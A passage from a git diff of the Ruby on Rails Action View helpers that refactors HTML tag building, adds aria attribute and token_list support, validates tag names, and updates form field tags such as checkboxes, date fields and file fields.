-            content_tag_string(name.to_s.dasherize, content || "", options, escape_attributes)
-          end
+        # Transforms a Hash into HTML Attributes, ready to be interpolated into
+        # ERB.
+        #
+        #   <input <%= tag.attributes(type: :text, aria: { label: "Search" }) %> >
+        #   # => <input type="text" aria-label="Search">
+        def attributes(attributes)
+          tag_options(attributes.to_h).to_s.strip.html_safe
         end
 
-        def content_tag_string(name, content, options, escape = true)
+        def content_tag_string(name, content, options, escape = true) # :nodoc:
           tag_options = tag_options(options, escape) if options
-          content     = ERB::Util.unwrapped_html_escape(content) if escape
+
+          if escape && content.present?
+            content = ERB::Util.unwrapped_html_escape(content)
+          end
           "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name]}#{content}</#{name}>".html_safe
         end
 
-        def tag_options(options, escape = true)
+        def tag_options(options, escape = true) # :nodoc:
           return if options.blank?
-          output = "".dup
+          output = +""
           sep    = " "
           options.each_pair do |key, value|
-            if TAG_PREFIXES.include?(key) && value.is_a?(Hash)
+            type = TAG_TYPES[key]
+            if type == :data && value.is_a?(Hash)
               value.each_pair do |k, v|
                 next if v.nil?
                 output << sep
                 output << prefix_tag_option(key, k, v, escape)
               end
-            elsif BOOLEAN_ATTRIBUTES.include?(key)
+            elsif type == :aria && value.is_a?(Hash)
+              value.each_pair do |k, v|
+                next if v.nil?
+
+                case v
+                when Array, Hash
+                  tokens = TagHelper.build_tag_values(v)
+                  next if tokens.none?
+
+                  v = @view_context.safe_join(tokens, " ")
+                else
+                  v = v.to_s
+                end
+
+                output << sep
+                output << prefix_tag_option(key, k, v, escape)
+              end
+            elsif type == :boolean
               if value
                 output << sep
                 output << boolean_tag_option(key)
@@ -80,20 +274,42 @@ def tag_options(options, escape = true)
           output unless output.empty?
         end
 
-        def boolean_tag_option(key)
-          %(#{key}="#{key}")
-        end
+        private
+          def tag_string(name, content = nil, options, escape: true, &block)
+            if content && block_given?
+              content += @view_context.capture(self, &block)
+            elsif block_given?
+              content = @view_context.capture(self, &block)
+            end
 
-        def tag_option(key, value, escape)
-          if value.is_a?(Array)
-            value = escape ? safe_join(value, " ".freeze) : value.join(" ".freeze)
-          else
-            value = escape ? ERB::Util.unwrapped_html_escape(value) : value.to_s
+            content_tag_string(name, content, options, escape)
+          end
+
+          def self_closing_tag_string(name, options, escape = true, tag_suffix = " />")
+            "<#{name}#{tag_options(options, escape)}#{tag_suffix}".html_safe
+          end
+
+          def boolean_tag_option(key)
+            %(#{key}="#{key}")
+          end
+
+          def tag_option(key, value, escape)
+            key = ERB::Util.xml_name_escape(key) if escape
+
+            case value
+            when Array, Hash
+              value = TagHelper.build_tag_values(value) if key.to_s == "class"
+              value = escape ? @view_context.safe_join(value, " ") : value.join(" ")
+            when Regexp
+              value = escape ? ERB::Util.unwrapped_html_escape(value.source) : value.source
+            else
+              value = escape ? ERB::Util.unwrapped_html_escape(value) : value.to_s
+            end
+            value = value.gsub('"', "&quot;") if value.include?('"')
+
+            %(#{key}="#{value}")
           end
-          %(#{key}="#{value.gsub('"'.freeze, '&quot;'.freeze)}")
-        end
 
-        private
           def prefix_tag_option(prefix, key, value, escape)
             key = "#{prefix}-#{key.to_s.dasherize}"
             unless value.is_a?(String) || value.is_a?(Symbol) || value.is_a?(BigDecimal)
@@ -106,8 +322,12 @@ def respond_to_missing?(*args)
             true
           end
 
-          def method_missing(called, *args, &block)
-            tag_string(called, *args, &block)
+          def method_missing(called, *args, escape: true, **options, &block)
+            name = called.name.dasherize
+
+            TagHelper.ensure_valid_html5_tag_name(name)
+
+            tag_string(name, *args, options, escape: escape, &block)
           end
       end
 
@@ -151,8 +371,8 @@ def method_missing(called, *args, &block)
       #   tag.input type: 'text', disabled: true
       #   # => <input type="text" disabled="disabled">
       #
-      # HTML5 <tt>data-*</tt> attributes can be set with a single +data+ key
-      # pointing to a hash of sub-attributes.
+      # HTML5 <tt>data-*</tt> and <tt>aria-*</tt> attributes can be set with a
+      # single +data+ or +aria+ key pointing to a hash of sub-attributes.
       #
       # To play nicely with JavaScript conventions, sub-attributes are dasherized.
       #
@@ -161,21 +381,21 @@ def method_missing(called, *args, &block)
       #
       # Thus <tt>data-user-id</tt> can be accessed as <tt>dataset.userId</tt>.
       #
-      # Data attribute values are encoded to JSON, with the exception of strings, symbols and
+      # Data attribute values are encoded to JSON, with the exception of strings, symbols, and
       # BigDecimals.
       # This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
       # from 1.4.3.
       #
-      #   tag.div data: { city_state: %w( Chigaco IL ) }
+      #   tag.div data: { city_state: %w( Chicago IL ) }
       #   # => <div data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]"></div>
       #
-      # The generated attributes are escaped by default. This can be disabled using
-      # +escape_attributes+.
+      # The generated tag names and attributes are escaped by default. This can be disabled using
+      # +escape+.
       #
       #   tag.img src: 'open & shut.png'
       #   # => <img src="open &amp; shut.png">
       #
-      #   tag.img src: 'open & shut.png', escape_attributes: false
+      #   tag.img src: 'open & shut.png', escape: false
       #   # => <img src="open & shut.png">
       #
       # The tag builder respects
@@ -188,9 +408,31 @@ def method_missing(called, *args, &block)
       #   # A void element:
       #   tag.br  # => <br>
       #
+      # Note that when using the block form options should be wrapped in
+      # parenthesis.
+      #
+      #   <%= tag.a(href: "/about", class: "font-bold") do %>
+      #     About the author
+      #   <% end %>
+      #   # => <a href="/about" class="font-bold">About the author</a>
+      #
+      # === Building HTML attributes
+      #
+      # Transforms a Hash into HTML attributes, ready to be interpolated into
+      # ERB. Includes or omits boolean attributes based on their truthiness.
+      # Transforms keys nested within
+      # <tt>aria:</tt> or <tt>data:</tt> objects into <tt>aria-</tt> and <tt>data-</tt>
+      # prefixed attributes:
+      #
+      #   <input <%= tag.attributes(type: :text, aria: { label: "Search" }) %>>
+      #   # => <input type="text" aria-label="Search">
+      #
+      #   <button <%= tag.attributes id: "call-to-action", disabled: false, aria: { expanded: false } %> class="primary">Get Started!</button>
+      #   # => <button id="call-to-action" aria-expanded="false" class="primary">Get Started!</button>
+      #
       # === Legacy syntax
       #
-      # The following format is for legacy syntax support. It will be deprecated in future versions of Rails.
+      # The following format is for legacy syntax support. It will be deprecated in future versions of \Rails.
       #
       #   tag(name, options = nil, open = false, escape = true)
       #
@@ -227,15 +469,19 @@ def method_missing(called, *args, &block)
       #   tag("img", src: "open & shut.png")
       #   # => <img src="open &amp; shut.png" />
       #
-      #   tag("img", {src: "open &amp; shut.png"}, false, false)
+      #   tag("img", { src: "open &amp; shut.png" }, false, false)
       #   # => <img src="open &amp; shut.png" />
       #
-      #   tag("div", data: {name: 'Stephen', city_state: %w(Chicago IL)})
+      #   tag("div", data: { name: 'Stephen', city_state: %w(Chicago IL) })
       #   # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
+      #
+      #   tag("div", class: { highlight: current_user.admin? })
+      #   # => <div class="highlight" />
       def tag(name = nil, options = nil, open = false, escape = true)
         if name.nil?
           tag_builder
         else
+          ensure_valid_html5_tag_name(name)
           "<#{name}#{tag_builder.tag_options(options, escape) if options}#{open ? ">" : " />"}".html_safe
         end
       end
@@ -244,7 +490,7 @@ def tag(name = nil, options = nil, open = false, escape = true)
       # HTML attributes by passing an attributes hash to +options+.
       # Instead of passing the content as an argument, you can also use a block
       # in which case, you pass your +options+ as the second parameter.
-      # Set escape to false to disable attribute value escaping.
+      # Set escape to false to disable escaping.
       # Note: this is legacy syntax, see +tag+ method description for details.
       #
       # ==== Options
@@ -259,6 +505,8 @@ def tag(name = nil, options = nil, open = false, escape = true)
       #    # => <div class="strong"><p>Hello world!</p></div>
       #   content_tag(:div, "Hello world!", class: ["strong", "highlight"])
       #    # => <div class="strong highlight">Hello world!</div>
+      #   content_tag(:div, "Hello world!", class: ["strong", { highlight: current_user.admin? }])
+      #    # => <div class="strong highlight">Hello world!</div>
       #   content_tag("select", options, multiple: true)
       #    # => <select multiple="multiple">...options...</select>
       #
@@ -267,6 +515,8 @@ def tag(name = nil, options = nil, open = false, escape = true)
       #   <% end -%>
       #    # => <div class="strong">Hello world!</div>
       def content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block)
+        ensure_valid_html5_tag_name(name)
+
         if block_given?
           options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
           tag_builder.content_tag_string(name, capture(&block), options, escape)
@@ -275,6 +525,24 @@ def content_tag(name, content_or_options_with_block = nil, options = nil, escape
         end
       end
 
+      # Returns a string of tokens built from +args+.
+      #
+      # ==== Examples
+      #   token_list("foo", "bar")
+      #    # => "foo bar"
+      #   token_list("foo", "foo bar")
+      #    # => "foo bar"
+      #   token_list({ foo: true, bar: false })
+      #    # => "foo"
+      #   token_list(nil, false, 123, "", "foo", { bar: true })
+      #    # => "123 foo bar"
+      def token_list(*args)
+        tokens = build_tag_values(*args).flat_map { |value| CGI.unescape_html(value.to_s).split(/\s+/) }.uniq
+
+        safe_join(tokens, " ")
+      end
+      alias_method :class_names, :token_list
+
       # Returns a CDATA section with the given +content+. CDATA sections
       # are used to escape blocks of text containing characters which would
       # otherwise be recognized as markup. CDATA sections begin with the string
@@ -289,7 +557,7 @@ def content_tag(name, content_or_options_with_block = nil, options = nil, escape
       #   cdata_section("hello]]>world")
       #   # => <![CDATA[hello]]]]><![CDATA[>world]]>
       def cdata_section(content)
-        splitted = content.to_s.gsub(/\]\]\>/, "]]]]><![CDATA[>")
+        splitted = content.to_s.gsub(/\]\]>/, "]]]]><![CDATA[>")
         "<![CDATA[#{splitted}]]>".html_safe
       end
 
@@ -305,6 +573,31 @@ def escape_once(html)
       end
 
       private
+        def ensure_valid_html5_tag_name(name)
+          raise ArgumentError, "Invalid HTML5 tag name: #{name.inspect}" unless /\A[a-zA-Z][^\s\/>]*\z/.match?(name)
+        end
+        module_function :ensure_valid_html5_tag_name
+
+        def build_tag_values(*args)
+          tag_values = []
+
+          args.each do |tag_value|
+            case tag_value
+            when Hash
+              tag_value.each do |key, val|
+                tag_values << key.to_s if val && key.present?
+              end
+            when Array
+              tag_values.concat build_tag_values(*tag_value)
+            else
+              tag_values << tag_value.to_s if tag_value.present?
+            end
+          end
+
+          tag_values
+        end
+        module_function :build_tag_values
+
         def tag_builder
           @tag_builder ||= TagBuilder.new(self)
         end
diff --git a/actionview/lib/action_view/helpers/tags.rb b/actionview/lib/action_view/helpers/tags.rb
index a4f6eb015049f..006438839d69f 100644
--- a/actionview/lib/action_view/helpers/tags.rb
+++ b/actionview/lib/action_view/helpers/tags.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
 module ActionView
-  module Helpers
-    module Tags #:nodoc:
+  module Helpers # :nodoc:
+    module Tags # :nodoc:
       extend ActiveSupport::Autoload
 
+      autoload :SelectRenderer
+
       eager_autoload do
         autoload :Base
         autoload :Translator
@@ -36,6 +40,7 @@ module Tags #:nodoc:
         autoload :TimeZoneSelect
         autoload :UrlField
         autoload :WeekField
+        autoload :WeekdaySelect
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/tags/base.rb b/actionview/lib/action_view/helpers/tags/base.rb
index 0895533a60683..86f413760a72d 100644
--- a/actionview/lib/action_view/helpers/tags/base.rb
+++ b/actionview/lib/action_view/helpers/tags/base.rb
@@ -1,9 +1,10 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class Base # :nodoc:
         include Helpers::ActiveModelInstanceTag, Helpers::TagHelper, Helpers::FormTagHelper
-        include FormOptionsHelper
 
         attr_reader :object
 
@@ -32,28 +33,29 @@ def render
         end
 
         private
+          def value
+            return unless object
 
-          def value(object)
             if @allow_method_names_outside_object
-              object.public_send @method_name if object && object.respond_to?(@method_name)
+              object.public_send @method_name if object.respond_to?(@method_name)
             else
-              object.public_send @method_name if object
+              object.public_send @method_name
             end
           end
 
-          def value_before_type_cast(object)
-            unless object.nil?
-              method_before_type_cast = @method_name + "_before_type_cast"
+          def value_before_type_cast
+            return unless object
 
-              if value_came_from_user?(object) && object.respond_to?(method_before_type_cast)
-                object.public_send(method_before_type_cast)
-              else
-                value(object)
-              end
+            method_before_type_cast = @method_name + "_before_type_cast"
+
+            if value_came_from_user? && object.respond_to?(method_before_type_cast)
+              object.public_send(method_before_type_cast)
+            else
+              value
             end
           end
 
-          def value_came_from_user?(object)
+          def value_came_from_user?
             method_name = "#{@method_name}_came_from_user?"
             !object.respond_to?(method_name) || object.public_send(method_name)
           end
@@ -78,99 +80,47 @@ def retrieve_autoindex(pre_match)
             end
           end
 
-          def add_default_name_and_id_for_value(tag_value, options)
+          def add_default_name_and_field_for_value(tag_value, options, field = "id")
             if tag_value.nil?
-              add_default_name_and_id(options)
+              add_default_name_and_field(options, field)
             else
-              specified_id = options["id"]
-              add_default_name_and_id(options)
+              specified_field = options[field]
+              add_default_name_and_field(options, field)
 
-              if specified_id.blank? && options["id"].present?
-                options["id"] += "_#{sanitized_value(tag_value)}"
+              if specified_field.blank? && options[field].present?
+                options[field] += "_#{sanitized_value(tag_value)}"
               end
             end
           end
+          alias_method :add_default_name_and_id_for_value, :add_default_name_and_field_for_value
 
-          def add_default_name_and_id(options)
+          def add_default_name_and_field(options, field = "id")
             index = name_and_id_index(options)
             options["name"] = options.fetch("name") { tag_name(options["multiple"], index) }
 
-            unless skip_default_ids?
-              options["id"] = options.fetch("id") { tag_id(index) }
+            if generate_ids?
+              options[field] = options.fetch(field) { tag_id(index, options.delete("namespace")) }
               if namespace = options.delete("namespace")
-                options["id"] = options["id"] ? "#{namespace}_#{options['id']}" : namespace
+                options[field] = options[field] ? "#{namespace}_#{options[field]}" : namespace
               end
             end
           end
+          alias_method :add_default_name_and_id, :add_default_name_and_field
 
           def tag_name(multiple = false, index = nil)
-            # a little duplication to construct less strings
-            case
-            when @object_name.empty?
-              "#{sanitized_method_name}#{"[]" if multiple}"
-            when index
-              "#{@object_name}[#{index}][#{sanitized_method_name}]#{"[]" if multiple}"
-            else
-              "#{@object_name}[#{sanitized_method_name}]#{"[]" if multiple}"
-            end
+            @template_object.field_name(@object_name, sanitized_method_name, multiple: multiple, index: index)
           end
 
-          def tag_id(index = nil)
-            # a little duplication to construct less strings
-            case
-            when @object_name.empty?
-              sanitized_method_name.dup
-            when index
-              "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
-            else
-              "#{sanitized_object_name}_#{sanitized_method_name}"
-            end
-          end
-
-          def sanitized_object_name
-            @sanitized_object_name ||= @object_name.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").sub(/_$/, "")
+          def tag_id(index = nil, namespace = nil)
+            @template_object.field_id(@object_name, @method_name, index: index, namespace: namespace)
           end
 
           def sanitized_method_name
-            @sanitized_method_name ||= @method_name.sub(/\?$/, "")
+            @sanitized_method_name ||= @method_name.delete_suffix("?")
           end
 
           def sanitized_value(value)
-            value.to_s.gsub(/\s/, "_").gsub(/[^-\w]/, "").downcase
-          end
-
-          def select_content_tag(option_tags, options, html_options)
-            html_options = html_options.stringify_keys
-            add_default_name_and_id(html_options)
-
-            if placeholder_required?(html_options)
-              raise ArgumentError, "include_blank cannot be false for a required field." if options[:include_blank] == false
-              options[:include_blank] ||= true unless options[:prompt]
-            end
-
-            value = options.fetch(:selected) { value(object) }
-            select = content_tag("select", add_options(option_tags, options, value), html_options)
-
-            if html_options["multiple"] && options.fetch(:include_hidden, true)
-              tag("input", disabled: html_options["disabled"], name: html_options["name"], type: "hidden", value: "") + select
-            else
-              select
-            end
-          end
-
-          def placeholder_required?(html_options)
-            # See https://html.spec.whatwg.org/multipage/forms.html#attr-select-required
-            html_options["required"] && !html_options["multiple"] && html_options.fetch("size", 1).to_i == 1
-          end
-
-          def add_options(option_tags, options, value = nil)
-            if options[:include_blank]
-              option_tags = tag_builder.content_tag_string("option", options[:include_blank].kind_of?(String) ? options[:include_blank] : nil, value: "") + "\n" + option_tags
-            end
-            if value.blank? && options[:prompt]
-              option_tags = tag_builder.content_tag_string("option", prompt_text(options[:prompt]), value: "") + "\n" + option_tags
-            end
-            option_tags
+            value.to_s.gsub(/[\s.]/, "_").gsub(/[^-[[:word:]]]/, "").downcase
           end
 
           def name_and_id_index(options)
@@ -181,8 +131,8 @@ def name_and_id_index(options)
             end
           end
 
-          def skip_default_ids?
-            @skip_default_ids
+          def generate_ids?
+            !@skip_default_ids
           end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tags/check_box.rb b/actionview/lib/action_view/helpers/tags/check_box.rb
index 02f87fc89feff..3976c23d98575 100644
--- a/actionview/lib/action_view/helpers/tags/check_box.rb
+++ b/actionview/lib/action_view/helpers/tags/check_box.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "action_view/helpers/tags/checkable"
 
 module ActionView
   module Helpers
     module Tags # :nodoc:
-      class CheckBox < Base #:nodoc:
+      class CheckBox < Base # :nodoc:
         include Checkable
 
         def initialize(object_name, method_name, template_object, checked_value, unchecked_value, options)
@@ -16,13 +18,13 @@ def render
           options = @options.stringify_keys
           options["type"]     = "checkbox"
           options["value"]    = @checked_value
-          options["checked"] = "checked" if input_checked?(object, options)
+          options["checked"] = "checked" if input_checked?(options)
 
           if options["multiple"]
-            add_default_name_and_id_for_value(@checked_value, options)
+            add_default_name_and_field_for_value(@checked_value, options)
             options.delete("multiple")
           else
-            add_default_name_and_id(options)
+            add_default_name_and_field(options)
           end
 
           include_hidden = options.delete("include_hidden") { true }
@@ -37,7 +39,6 @@ def render
         end
 
         private
-
           def checked?(value)
             case value
             when TrueClass, FalseClass
@@ -56,7 +57,13 @@ def checked?(value)
           end
 
           def hidden_field_for_checkbox(options)
-            @unchecked_value ? tag("input", options.slice("name", "disabled", "form").merge!("type" => "hidden", "value" => @unchecked_value)) : "".html_safe
+            if @unchecked_value
+              tag_options = options.slice("name", "disabled", "form").merge!("type" => "hidden", "value" => @unchecked_value)
+              tag_options["autocomplete"] = "off" unless ActionView::Base.remove_hidden_field_autocomplete
+              tag("input", tag_options)
+            else
+              "".html_safe
+            end
           end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tags/checkable.rb b/actionview/lib/action_view/helpers/tags/checkable.rb
index 052e9df662ebd..776fefe7788f6 100644
--- a/actionview/lib/action_view/helpers/tags/checkable.rb
+++ b/actionview/lib/action_view/helpers/tags/checkable.rb
@@ -1,13 +1,15 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       module Checkable # :nodoc:
-        def input_checked?(object, options)
+        def input_checked?(options)
           if options.has_key?("checked")
             checked = options.delete "checked"
             checked == true || checked == "checked"
           else
-            checked?(value(object))
+            checked?(value)
           end
         end
       end
diff --git a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
index 7252d4f2d9474..776f485d13435 100644
--- a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
+++ b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "action_view/helpers/tags/collection_helpers"
 
 module ActionView
@@ -5,13 +7,16 @@ module Helpers
     module Tags # :nodoc:
       class CollectionCheckBoxes < Base # :nodoc:
         include CollectionHelpers
+        include FormOptionsHelper
 
         class CheckBoxBuilder < Builder # :nodoc:
-          def check_box(extra_html_options = {})
+          def checkbox(extra_html_options = {})
             html_options = extra_html_options.merge(@input_html_options)
             html_options[:multiple] = true
-            @template_object.check_box(@object_name, @method_name, html_options, @value, nil)
+            html_options[:skip_default_ids] = false
+            @template_object.checkbox(@object_name, @method_name, html_options, @value, nil)
           end
+          alias_method :check_box, :checkbox
         end
 
         def render(&block)
@@ -19,9 +24,8 @@ def render(&block)
         end
 
         private
-
           def render_component(builder)
-            builder.check_box + builder.label
+            builder.checkbox + builder.label
           end
 
           def hidden_field_name
diff --git a/actionview/lib/action_view/helpers/tags/collection_helpers.rb b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
index 75d237eb35f34..c2a6a0eafca9a 100644
--- a/actionview/lib/action_view/helpers/tags/collection_helpers.rb
+++ b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
@@ -35,7 +37,6 @@ def initialize(object_name, method_name, template_object, collection, value_meth
         end
 
         private
-
           def instantiate_builder(builder_class, item, value, text, html_options)
             builder_class.new(@template_object, @object_name, @method_name, item,
                               sanitize_attribute_name(value), text, value, html_options)
@@ -105,7 +106,8 @@ def render_collection_for(builder_class, &block)
 
           def hidden_field
             hidden_name = @html_options[:name] || hidden_field_name
-            @template_object.hidden_field_tag(hidden_name, "", id: nil)
+            options = { id: nil, form: @html_options[:form] }
+            @template_object.hidden_field_tag(hidden_name, "", options)
           end
 
           def hidden_field_name
diff --git a/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb b/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb
index a5f72af9ff3c1..865d9247d0b4c 100644
--- a/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb
+++ b/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "action_view/helpers/tags/collection_helpers"
 
 module ActionView
@@ -5,10 +7,12 @@ module Helpers
     module Tags # :nodoc:
       class CollectionRadioButtons < Base # :nodoc:
         include CollectionHelpers
+        include FormOptionsHelper
 
         class RadioButtonBuilder < Builder # :nodoc:
           def radio_button(extra_html_options = {})
             html_options = extra_html_options.merge(@input_html_options)
+            html_options[:skip_default_ids] = false
             @template_object.radio_button(@object_name, @method_name, @value, html_options)
           end
         end
@@ -18,7 +22,6 @@ def render(&block)
         end
 
         private
-
           def render_component(builder)
             builder.radio_button + builder.label
           end
diff --git a/actionview/lib/action_view/helpers/tags/collection_select.rb b/actionview/lib/action_view/helpers/tags/collection_select.rb
index 4365c714ebec4..289d3e07249b6 100644
--- a/actionview/lib/action_view/helpers/tags/collection_select.rb
+++ b/actionview/lib/action_view/helpers/tags/collection_select.rb
@@ -1,7 +1,12 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
-      class CollectionSelect < Base #:nodoc:
+      class CollectionSelect < Base # :nodoc:
+        include SelectRenderer
+        include FormOptionsHelper
+
         def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
           @collection   = collection
           @value_method = value_method
@@ -13,7 +18,7 @@ def initialize(object_name, method_name, template_object, collection, value_meth
 
         def render
           option_tags_options = {
-            selected: @options.fetch(:selected) { value(@object) },
+            selected: @options.fetch(:selected) { value },
             disabled: @options[:disabled]
           }
 
diff --git a/actionview/lib/action_view/helpers/tags/color_field.rb b/actionview/lib/action_view/helpers/tags/color_field.rb
index b4bbe9274670f..69b190809ff56 100644
--- a/actionview/lib/action_view/helpers/tags/color_field.rb
+++ b/actionview/lib/action_view/helpers/tags/color_field.rb
@@ -1,19 +1,20 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class ColorField < TextField # :nodoc:
         def render
           options = @options.stringify_keys
-          options["value"] ||= validate_color_string(value(object))
+          options["value"] ||= validate_color_string(value)
           @options = options
           super
         end
 
         private
-
           def validate_color_string(string)
             regex = /#[0-9a-fA-F]{6}/
-            if regex.match(string)
+            if regex.match?(string)
               string.downcase
             else
               "#000000"
diff --git a/actionview/lib/action_view/helpers/tags/date_field.rb b/actionview/lib/action_view/helpers/tags/date_field.rb
index c22be0db29cc5..720b669a9664b 100644
--- a/actionview/lib/action_view/helpers/tags/date_field.rb
+++ b/actionview/lib/action_view/helpers/tags/date_field.rb
@@ -1,11 +1,12 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class DateField < DatetimeField # :nodoc:
         private
-
-          def format_date(value)
-            value.try(:strftime, "%Y-%m-%d")
+          def format_datetime(value)
+            value&.strftime("%Y-%m-%d")
           end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tags/date_select.rb b/actionview/lib/action_view/helpers/tags/date_select.rb
index 638c134debe43..4574d1ff23dac 100644
--- a/actionview/lib/action_view/helpers/tags/date_select.rb
+++ b/actionview/lib/action_view/helpers/tags/date_select.rb
@@ -1,9 +1,13 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/time/calculations"
 
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class DateSelect < Base # :nodoc:
+        include SelectRenderer
+
         def initialize(object_name, method_name, template_object, options, html_options)
           @html_options = html_options
 
@@ -11,7 +15,7 @@ def initialize(object_name, method_name, template_object, options, html_options)
         end
 
         def render
-          error_wrapping(datetime_selector(@options, @html_options).send("select_#{select_type}").html_safe)
+          error_wrapping(datetime_selector(@options, @html_options).public_send("select_#{select_type}").html_safe)
         end
 
         class << self
@@ -21,13 +25,12 @@ def select_type
         end
 
         private
-
           def select_type
             self.class.select_type
           end
 
           def datetime_selector(options, html_options)
-            datetime = options.fetch(:selected) { value(object) || default_datetime(options) }
+            datetime = options.fetch(:selected) { value || default_datetime(options) }
             @auto_index ||= nil
 
             options = options.dup
@@ -57,7 +60,7 @@ def default_datetime(options)
               time = Time.current
 
               [:year, :month, :day, :hour, :min, :sec].each do |key|
-                default[key] ||= time.send(key)
+                default[key] ||= time.public_send(key)
               end
 
               Time.utc(
diff --git a/actionview/lib/action_view/helpers/tags/datetime_field.rb b/actionview/lib/action_view/helpers/tags/datetime_field.rb
index b3940c7e44129..b65ca72cb18a0 100644
--- a/actionview/lib/action_view/helpers/tags/datetime_field.rb
+++ b/actionview/lib/action_view/helpers/tags/datetime_field.rb
@@ -1,24 +1,33 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class DatetimeField < TextField # :nodoc:
         def render
           options = @options.stringify_keys
-          options["value"] ||= format_date(value(object))
-          options["min"] = format_date(datetime_value(options["min"]))
-          options["max"] = format_date(datetime_value(options["max"]))
+          options["value"] = datetime_value(options.fetch("value", value))
+          options["min"] = format_datetime(parse_datetime(options["min"]))
+          options["max"] = format_datetime(parse_datetime(options["max"]))
           @options = options
           super
         end
 
         private
+          def datetime_value(value)
+            if value.is_a?(String)
+              value
+            else
+              format_datetime(value)
+            end
+          end
 
-          def format_date(value)
+          def format_datetime(value)
             raise NotImplementedError
           end
 
-          def datetime_value(value)
-            if value.is_a? String
+          def parse_datetime(value)
+            if value.is_a?(String)
               DateTime.parse(value) rescue nil
             else
               value
diff --git a/actionview/lib/action_view/helpers/tags/datetime_local_field.rb b/actionview/lib/action_view/helpers/tags/datetime_local_field.rb
index b4a74185d1634..d5ece6521073f 100644
--- a/actionview/lib/action_view/helpers/tags/datetime_local_field.rb
+++ b/actionview/lib/action_view/helpers/tags/datetime_local_field.rb
@@ -1,7 +1,14 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class DatetimeLocalField < DatetimeField # :nodoc:
+        def initialize(object_name, method_name, template_object, options = {})
+          @include_seconds = options.delete(:include_seconds) { true }
+          super
+        end
+
         class << self
           def field_type
             @field_type ||= "datetime-local"
@@ -9,9 +16,12 @@ def field_type
         end
 
         private
-
-          def format_date(value)
-            value.try(:strftime, "%Y-%m-%dT%T")
+          def format_datetime(value)
+            if @include_seconds
+              value&.strftime("%Y-%m-%dT%T")
+            else
+              value&.strftime("%Y-%m-%dT%H:%M")
+            end
           end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tags/datetime_select.rb b/actionview/lib/action_view/helpers/tags/datetime_select.rb
index 563de1840e765..dc5570931db21 100644
--- a/actionview/lib/action_view/helpers/tags/datetime_select.rb
+++ b/actionview/lib/action_view/helpers/tags/datetime_select.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
diff --git a/actionview/lib/action_view/helpers/tags/email_field.rb b/actionview/lib/action_view/helpers/tags/email_field.rb
index 7ce3ccb9bfcce..0c3b9224fa895 100644
--- a/actionview/lib/action_view/helpers/tags/email_field.rb
+++ b/actionview/lib/action_view/helpers/tags/email_field.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
diff --git a/actionview/lib/action_view/helpers/tags/file_field.rb b/actionview/lib/action_view/helpers/tags/file_field.rb
index 476b820d84daf..95848599dbb2d 100644
--- a/actionview/lib/action_view/helpers/tags/file_field.rb
+++ b/actionview/lib/action_view/helpers/tags/file_field.rb
@@ -1,7 +1,30 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class FileField < TextField # :nodoc:
+        def render
+          include_hidden = @options.delete(:include_hidden)
+          if @options[:accept].is_a?(Array)
+            @options[:accept] = @options[:accept].join(",")
+          end
+          options = @options.stringify_keys
+          add_default_name_and_field(options)
+
+          if options["multiple"] && include_hidden
+            hidden_field_for_multiple_file(options) + super
+          else
+            super
+          end
+        end
+
+        private
+          def hidden_field_for_multiple_file(options)
+            tag_options = { "name" => options["name"], "type" => "hidden", "value" => "" }
+            tag_options["autocomplete"] = "off" unless ActionView::Base.remove_hidden_field_autocomplete
+            tag("input", tag_options)
+          end
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb b/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb
index 20e312dd0f3fb..6dd7fe875162b 100644
--- a/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb
+++ b/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb
@@ -1,7 +1,12 @@
+# frozen_string_literal: true
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class GroupedCollectionSelect < Base # :nodoc:
+        include SelectRenderer
+        include FormOptionsHelper
+
